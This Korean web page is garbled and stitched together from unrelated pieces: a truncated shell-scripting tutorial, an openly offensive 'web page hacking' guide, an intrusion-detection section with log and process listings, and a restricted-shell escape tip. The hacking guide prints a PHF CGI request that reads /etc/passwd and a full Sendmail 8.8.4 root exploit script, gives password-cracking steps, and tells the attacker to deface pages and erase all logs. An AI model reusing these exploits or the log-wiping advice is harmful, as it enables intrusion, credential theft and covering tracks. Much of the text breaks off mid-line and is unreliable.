그외에도 특별한 변수 치환 방법이 있는데 변수 치환을 사용하면 프로그램이 훨씬 간

${parameter:-word} : parameter가 정의되어 있고 null이 아니면 $parameter값이 되?rameter:=word} : parameter가 정의되어 있지 않거나 null이면 word값을 parameter에

rameter:?word} : parameter가 정의되어 있고 null이 아니면 $parameter값을 돌려주?rameter:+word} : parameter가 정의되어 있고 null이 아니면 $word 값을 돌려주고 그

쉘에서는 함수를 정의해 사용할 수 있다. 이는 'name () { 명령-리스트; }' 구조를 ?

$ cat func

num () {

         who | wc -l;

       }

num

현재 로긴되어 있는 사용자의 수가 출력될 것이다. 함수와 달리 별도의 프로세스를 ?

쉘 프로그램에서도 trap 명령으로 시그널 처리가 가능하며 'trap '명령' signal-list

다른 스크립트 언어들

최근 등장하는 스크립트 언어는 기능면에 있어 쉘보다 다양하고 강력한 기능을 제공?

Tcl의 언어 구조는 쉘과 유사하지만 자체적으로 명령어 해석기 형태의 쉘(tclsh, wis

쉘 스크립트와 스크립트 언어

현재 유닉스에는 다양한 쉘이 사용되고 있지만 그 적용 분야는 조금 다르다. 아직까?

명령어 처리 해석기로 가장 많이 사용하는 쉘은 C 쉘과 tcsh로, 태스크 컨트롤 기능?

그러나 이와 같은 쉘뿐 아니라 Perl, tcl/tk 등과 같은 스크립트 언어의 발전 역시 ?

-------------------------------------------------------------------------------

EXIT

                 웹페이지 해킹하는 방법

     

           -----written by Cybernom-------

++++++++++++++++++++++++++++++++++++++++++++++++++++++++

     [FTP를 통해서 해킹하는 방법]

슈퍼유저의 권한을 얻는 가장 쉬운 방법은 웹페이지를 통한 익명ftp의

사용이다. 우선 암호파일(password file)에 대해서 알아야 한다.

root:User:d7Bdg:1n2HG2:1127:20:Superuser

TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh

BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

이것이 일반적인 암호화된 파일의 예이다.

root:x:0:1:Superuser:/:

ftp:x:202:102:Anonymous ftp:/u1/ftp:

ftpadmin:x:203:102:ftp Administrator:/u1/ftp

이것은 또 다른 암호파일의 예이다. 이 파일이 위의 것과 다른 것은 단지 이것이

shadow 된 것이란 사실이다. shadow 된 암호파일은 다른사람으로부터

암호화된 파일을 보거나 copy 하지 못하게 한다. 이것이 암호크래커나

사전파일에 문제를 일으키는 것이다. 밑에 것은 또 다른 shadow 된

암호파일이다.

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh

daemon:x:1:1:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:

sys:x:3:3:0000-Admin(0000):/:

adm:x:4:4:0000-Admin(0000):/var/adm:

lp:x:71:8:0000-lp(0000):/usr/spool/lp:

smtp:x:0:0:mail daemon user:/:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:uid no body:/:

noaccess:x:60002:60002:uid no access:/:

webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh

pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bi

ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

shadow 된 암호파일은 암호가 있어야 할 자리에 X 로 써있다. 어떤 때는 X

대신에 * 로 되어 있을 때도 있다.

이제 암호파일이 어떻게 생겼는지 알 수 있을 것이다. 일반적인 암호파일과

shadow 된 암호파일을 구별하는 중요한 일이다. 이제 이것을 크랙하는 것에

대해 알아보자.

비록 시스템에 따라 파일이 다르긴 하지만 암호를 크랙하는 것은 그리

복잡하지만은 않다.

1.먼저 암호파일을 다운로드받거나 copy 한다.

2.그리고 암호크래커와 사전파일을 찾는다.

   Cracker jack, John the Ripper, Brute Force Cracker 또는 Jack the Ripper

   정도면 좋은 프로그램으로 사용할 수 있다.

   크래커를 사용할 때 사전파일이 어딨는지 물어오는데 바로 이것을 위해

   사전파일이 있어야 하는 것이다. 사전파일은 선택되는 모든 종류의 알파벳으로

   조합되는 글자 (ASCII, caps, lowercase, 그리고 숫자들까지 포함되기도 한다)

   들을 찾아낸다.

3.크래커를 실행한 다음에 크래커가 시키는 데로 따라하면 된다.

                                [PHF 를 통한 기술]

대다수의 사람들이 알고 있고 상당수의 서버들이 이에 대한 버그를 찾아내고

고쳤기 때문에 이 방법을 써야 하나 고민했지만 워낙 유명한 방법이기에 쓴다.

phf 를 통한 해킹은 암호파일을 얻는 가장 쉬운 방법이다.

phf 해킹을 하기 위해서 해야할 일은 극히 단순하다. 브라우저를 작동시키고

다음 링크를 적기만 하면 된다.

http://www.웹페이지주소/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

그리고 파일을 copy 하기만 하면 된다.

                          

                              [TELNET 과 EXPLOIT]

Telnet 을 통한 웹페이지해킹이 가장 좋은 방법이지만 위의 방법들에 비해 약간

복잡하다. Exploit 은 에러나 시스템의 버그를 드러내 root 권한을 주는 것이

보통이다. 이에 대한 수많은 방법들이 있지만 이것을 소개하겠다.

이것은 Sendmail v.8.8.4 의 exploit 이다.

이것은 쉘이나 root를 부르는 /tmp/x 를 만든다. 다음은 이를 어떻게 만드는가

보여준다.

cat << _EOF_ >/tmp/x.c

#define RUN "/bin/ksh"

#include

main()

{

    execl(RUN,RUN,NULL);

}

_EOF_

#

cat << _EOF_ >/tmp/spawnfish.c

main()

{

   execl("/usr/lib/sendmail","/tmp/smtpd",0);     

}                                            

_EOF_

#

cat << _EOF_ >/tmp/smtpd.c

main()

{

   setuid(0); setgid(0);

   system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O  -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d"

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

   echo "leet..."

   /tmp/x

fi

암호를 얻은 다음에는 무엇을 하는지는 해커에게 달려있지만 우선 암호를

바꿔야 할 것이다. 암호를 바꾸기 위해서는 텔넷을 통해서 당신의 새로운

account 로 접속한다. 그리고 passwd 라고 쓴다.그러면 전패스워드를 쓰고

그 다음에 후패스워드를 쓴다. 그리고 당신이 원하는 페이지를 올린다.

반드시 모든 log 를 지워야 한다.

http://my.netian.com/~biore

bangjunsik@hotmail.com

6. 크래커&해커 침입 감지해보기

[root@mud tmp]# zap loveyou

/* loveyou 라는 아이디의 사람이 루트권한을 얻어서 zap을 실행하였다고 가정하자 *

[root@mud tmp]# netstat -a  /* 현재의 네트웍 상황을 보자  */

Active Internet connections (including servers)

Proto Recv-Q Send-Q Local Address           Foreign Address         State

tcp        0      0 *:ftp                   *:*                     LISTEN

tcp        0      0 *:telnet                *:*                     LISTEN

tcp        0      0 *:login                 *:*                     LISTEN

tcp        0      0 *:time                  *:*                     LISTEN

tcp        0      0 *:auth                  *:*                     LISTEN

tcp        0      0 *:smtp                  *:*                     LISTEN

tcp        0      0 *:www                   *:*                     LISTEN

tcp        0      0 *:5000                  *:*                     LISTEN

tcp        0      0 *:2008                  *:*                     LISTEN

tcp        0     51 mud.bigtel.co.kr:5000   203.234.246.225:61253   ESTABLISHED

tcp        0      0 mud.bigtel.co.kr:ftp    loveyou.intercast:16988 ESTABLISHED

tcp        0      0 mud.bigtel.co.kr:telnet loveyou.intercast:17045 ESTABLISHED

tcp        0  19872 mud.bigtel.co.:ftp-data loveyou.intercast:17114 ESTABLISHED

tcp        0      0 mud.bigtel.co.kr:5000   210.123.207.59:4266     ESTABLISHED

tcp        0      0 mud.bigtel.co.kr:5000   210.123.207.59:4272     ESTABLISHED

tcp        0      0 mud.bigtel.co.kr:5000   210.123.207.59:4275     ESTABLISHED

tcp        0    132 mud.bigtel.co.kr:telnet 203.247.36.108:1029     ESTABLISHED

udp        0      0 *:720                   *:*

udp        0      0 *:syslog                *:*

udp        0      0 *:talk                  *:*

udp        0      0 *:ntalk                 *:*

udp        0      0 *:time                  *:*

raw        0      0 *:1                     *:*

(.. 이하 생략 )

/* 위에서 보면 telnet 접속은 2군데이며 ftp 접속은 한군대 이다.

   또한 5000 이라고 되어있는 것은 머드 포트를 나타낸것으로 4명이 머드를 사용한?. */

[root@mud tmp]# who

root     tty1     Jan 11 16:45

loveyou  ttyp0    Jan 12 00:25 (loveyou.intercas)

/* netstat -a 로 네트웍을 보았을때는 분명히 2명의 텔넷 접속이 있었다. 하지만

   who를 쳤을때 텔넷 접속은 loveyou (ttyp0 포트)가 한명밖에 접속이 안되어있다.

   무언가 이상하지 않은가? */

[root@mud tmp]# w

  3:44am  up 11:06,  2 users,  load average: 0.00, 0.00, 0.00

USER     TTY      FROM              LOGIN@  IDLE   JCPU   PCPU  WHAT

root     tty1                       4:45pm 10:58m  4.59s  0.06s  -bash

loveyou  ttyp0    loveyou.intercas 12:25am  3:17m  0.23s  0.05s  -bash

/* w 를 쳐도 텔넷 접속한 사람은 한명이다. */

[root@mud tmp]# ps -aux |more

USER       PID  %CPU %MEM   SIZE   RSS  TTY STAT  START   TIME

COMMAND

loveyou   1669  0.0  1.2  1048   764  ?  S   20:44   0:05 ftpd: loveyou.interca

loveyou   2431  0.0  1.3  1184   860  p0 S   00:25   0:00 /bin/login -h loveyou

loveyou   2432  0.0  1.1  1248   708  p0 S   00:25   0:00 -bash

loveyou   3224  0.0  1.3  1184   860  p1 S   03:28   0:00 /bin/login -h 203.247

loveyou   3225  0.0  1.1  1252   716  p1 S   03:28   0:00 -bash

loveyou   3278  0.0  1.0  1248   692  p1 S   03:39   0:00 sh

nobody     206  0.0  1.0  1168   652  ?  S   16:38   0:00 httpd

nobody     207  0.0  1.0  1188   648  ?  S   16:38   0:00 httpd

nobody     208  0.0  0.8  1168   560  ?  S   16:38   0:00 httpd

nobody     209  0.0  0.8  1168   544  ?  S   16:38   0:00 httpd

nobody     210  0.0  1.0  1180   668  ?  S   16:38   0:00 httpd

nobody     314  0.0  0.9  1168   596  ?  S   16:52   0:00 httpd

root         1  0.0  0.4   880   308  ?  S   16:38   0:02 init [3]

root         2  0.0  0.0     0     0  ?  SW  16:38   0:00 (kflushd)

root         3  0.0  0.0     0     0  ?  SW< 16:38   0:00 (kswapd)

root        19  0.0  0.4   868   292  ?  S   16:38   0:00 /sbin/kerneld

root       121  0.0  0.0     0     0  ?  SW  16:38   0:00 (nfsiod)

root       122  0.0  0.0     0     0  ?  SW  16:38   0:00 (nfsiod)

root       123  0.0  0.0     0     0  ?  SW  16:38   0:00 (nfsiod)

root       124  0.0  0.0     0     0  ?  SW  16:38   0:00 (nfsiod)

root       135  0.0  0.5   904   360  ?  S   16:38   0:00 syslogd

(.. 이하생략)

/* 위에서 보면

[root@mud tmp]# ps -aux |more

USER       PID  %CPU %MEM   SIZE   RSS  TTY STAT  START   TIME

COMMAND

loveyou   1669  0.0  1.2  1048   764  ?  S   20:44   0:05 ftpd: loveyou.interca

loveyou   2431  0.0  1.3  1184   860  p0 S   00:25   0:00 /bin/login -h loveyou

loveyou   2432  0.0  1.1  1248   708  p0 S   00:25   0:00 -bash

loveyou   3224  0.0  1.3  1184   860  p1 S   03:28   0:00 /bin/login -h 203.247

loveyou   3225  0.0  1.1  1252   716  p1 S   03:28   0:00 -bash

loveyou   3278  0.0  1.0  1248   692  p1 S   03:39   0:00 sh

  이런 내용이 있다. 즉, loveyou 라는 아이디는 login이 두번되어있다.

  하지만 w,who에는 나타나지 않았다. 이번에는 포트가 loveyou에게로 2개 이상이 열

려있는지

  보자. */

[root@mud /dev]# ls -al |grep ttyp |more

crw--w----   1 loveyou  tty        3,   0 Jan 12 03:24 ttyp0

해커 추적하기(Intrusion detection)

언제까지 해커에게 당하고만 있을것인가? 해커가 들어왔다면 추적을 해서 잡아내는 ?수 있다. 이제 해커를 추적하는 방법에 대해 알아보기로 하자. 처음 시스템에 로그인

메시지를 보낼 것이다.

login: sakai

password:

Last login: Fri Mar 3 02:05:42 on console

SunOS Release 4.1.3-KLE1.1.3 (BARAM_KOR) #2: Sun Sep 26 10:16:21 KST 1993

You have mail.

1995년03월03일(금) 03시10분34초 KST

%

여기에 나타나는 Last login을 확인하고 자신이 로그인한 시간대가 아닌때에 로그인?본다. 침입자가 들어온 것 같은 의심이 들 때 관리자에게 연락해 그 시간대의 로그와

추적을 하도록 한다. 혹은 위와 같이 자신의 시 스템 로그인 메시지를 확인하는 방법

방법으로, last라는 명령을 이용, 자신의 시스템에 자신의 이름으로 들어온 유저를 ?last의 예이다.

% last | more

ksh ttyqd casaturn.kaist.a Thu Mar 16 16:52 still logged in

chkim ttyr9 dal1.kaist.ac.kr Thu Mar 16 16:50 still logged in

hjha ttyqd danso.kaist.ac.k Thu Mar 16 16:49 - 16:51 (00:01)

hjha ttyra danso.kaist.ac.k Thu Mar 16 16:47 - 16:47 (00:00)

solee ttyra dangun.kaist.ac. Thu Mar 16 16:46 - 16:46 (00:00)

yjkim ttyr9 gaea.kaist.ac.kr Thu Mar 16 16:44 - 16:50 (00:05)

chkim ttyr9 dal1.kaist.ac.kr Thu Mar 16 16:42 - 16:43 (00:01)

drunken ttyra chagall.kaist.ac Thu Mar 16 16:40 - 16:40 (00:00)

shhong ttyra dbserver.kaist.a Thu Mar 16 16:39 - 16:39 (00:00)

jhlee ttyr9 paradise.kaist.a Thu Mar 16 16:38 - 16:39 (00:01)

hjha ttyra danso.kaist.ac.k Thu Mar 16 16:36 - 16:37 (00:00)

위의 예에서, last | grep myloginname을 입력하면, 자신의 ID로 언제 어디서, 누가

된다. 숙련된 해커는 위의 last 정보가 유지된 시스템 파일을 지우고 가지만, 여기서

가정하고 명령을 쳐볼 수 있다. 또는 약 간은 먼 이야기이지만, 해커가 들어와서 어?알아내기 위해서는 lastcomm이라는 명령어가 있다. lastcomm은 지금 이시간까지 시스

명령어들을 보여주게 된다. 만약에 lastcomm이 작동되지 않는다면 시스템 관리자가 ?수행하도록 해야 한다.

% /usr/etc/accton /usr/adm/acct

% lastcomm | more

msgs ksh ttyp2 0.03 secs Thu Mar 16 16:58

less ksh ttyp2 0.06 secs Thu Mar 16 16:58

csh F ksh ttyp2 0.00 secs Thu Mar 16 16:58

csh F ksh ttyp2 0.00 secs Thu Mar 16 16:58

date ksh ttyp2 0.02 secs Thu Mar 16 16:58

stty ksh ttyp2 0.02 secs Thu Mar 16 16:58

stty ksh ttyp2 0.02 secs Thu Mar 16 16:58

biff ksh ttyp2 0.02 secs Thu Mar 16 16:58

hostname ksh ttyp2 0.02 secs Thu Mar 16 16:58

whoami ksh ttyp2 0.03 secs Thu Mar 16 16:58

hostname ksh ttyp2 0.02 secs Thu Mar 16 16:58

hostname ksh ttyp2 0.02 secs Thu Mar 16 16:58

hostname ksh ttyp2 0.02 secs Thu Mar 16 16:58

전문된 해커와 이를 막는 보안팀은 항상 여러가지 파일을 이용해서 보안을 체크하게

하나의 시작에 불 과하다. 이 절의 내용을 정리하면, 시스템에 로그인 하고 로그아웃

남는다는 것인데. 다음의 네가지 파일 이 대표적이다.

/usr/adm/lastlog

각 유저마다 가장 최근의 로그인 시간을 기록한다.

finger 나 someone 에 의해 알 수 있다.

/etc/utmp

유저가 로그인 할 때마다 시간을 적어둔다.

/usr/adm/wtmp

유저가 로그인/로그 아웃할 때 시간을 적어둔다.

last 또는 last someone 의 명령을 쳐서 내용을 알수있다.

/usr/adm/acct

유저들이 사용하는 명령어를 적어둔다.

lastcomm 을 치면 내용을 알 수 있다.

하지만, 실제로 해커들은 이 모든 파일들을 지우고 나가는 것이 보통이며(생각을 보?들어왔다는 증거를 입멸 하고 나가는 것이 해커의 입장으로 서는 당연한 것이 아니겠

시간 간격마다 혹은 하루의 어느 때에 수행하 도록 제어해주는 cron명령을 이용해 계

한다면 해커를 좀더 어렵게 만들 수 있겠다. 이는 관리자에게 필요 한 부분이지만, ?log만을 남기는 호스트를 두면 더욱 확실하다.(이는 물론 장비에 여유가 있을 때의 ?/etc/syslog.conf 에서 정의를 하도록 하자.

#

# syslog configuration file

#

define LOGHOST eve

*.err;kern.debug;auth.notice;user.none /dev/console

mail.debug ifdef('LOGHOST',/var/log/syslog,@loghost)

mail.debug /var/log/syslog

로그 호스트를 설정한 예를 들어보자. 다음 로그는 로그 호스트인 eldar 의 로그 파?elbereth, luthien, be ren, eru, frodo, sam, aragorn, gandalf, faramir, legolasg

로그를 보내도록 설정돼있다.

Mar 17 02:43:28 6C:eldar fingerd[17516]: connect from baikdu.kaist.ac.kr

Mar 17 02:43:42 6D:eldar ftpd[17518]: connection from baikdu.kaist.ac.kr

Mar 17 02:43:54 5E:eldar ftpd[17518]: FTP LOGIN FAILED FROM baikdu.kaist.ac.kr,

chester

Mar 17 02:44:15 6E:eldar ftpd[17518]: FTP LOGIN FROM baikdu.kaist.ac.kr as ches

Mar 17 09:37:16 6C:luthien.seri.re.kr sendmail[10578]: JAA10572: to=sysuh@kigam

delay=00:0 0:09, mailer=smtp, relay=sdp.kigam.re.kr.

[134.75.144.201], stat=Sent (JAA15213 Message accepted for delivery)

Mar 17 13:31:46 6B:frodo.seri.re.kr Xsession: poison: login

Mar 17 13:40:32 6C:gimli.seri.re.kr ftpd[533]: connect from eve.kaist.ac.kr

Mar 17 13:49:32 6D:indigo1.seri.re.kr ftpd[533]: connection from robin.kaist.ac

이런 방법 외에도 파이어월, TCP wrapper 등을 이용해 아예 외부에서의 접근을 막아?tcpdump나 netmon들을 사용해 자신의 호스트로의 모든 접근을 감시할 수도 있다. 이?기술도 점점 고도화가 되어 고수준의 해커가 아니 면 침투하기 어려운 호스트가 늘어

그 무수한 버그들을 모두 머리에 외어두고 이를 모두 패치하기란 상당히 어려운 일이

보안툴을 이용하여 체 크를 하는 것이 많은 시간을 절약할 수 있게 된다. 다음호(6월

[정보] 사용이 제한된 SHELL 빠져나오기

shell 기능을 주축으로 하는 프로그램을

실행 시키면 영역이 제한된 shell로부터 빠져 나올수 있습니다.

대표적인 예가 vi 입니다.

vi 를 실행시킨후 다음명령어를 사용하면

계속하여 다음 명령어를 를 입력하면 shell로부터 빠져 나올수 있습니다.

:set shell=/bib/sh

:shell

관련글 더보기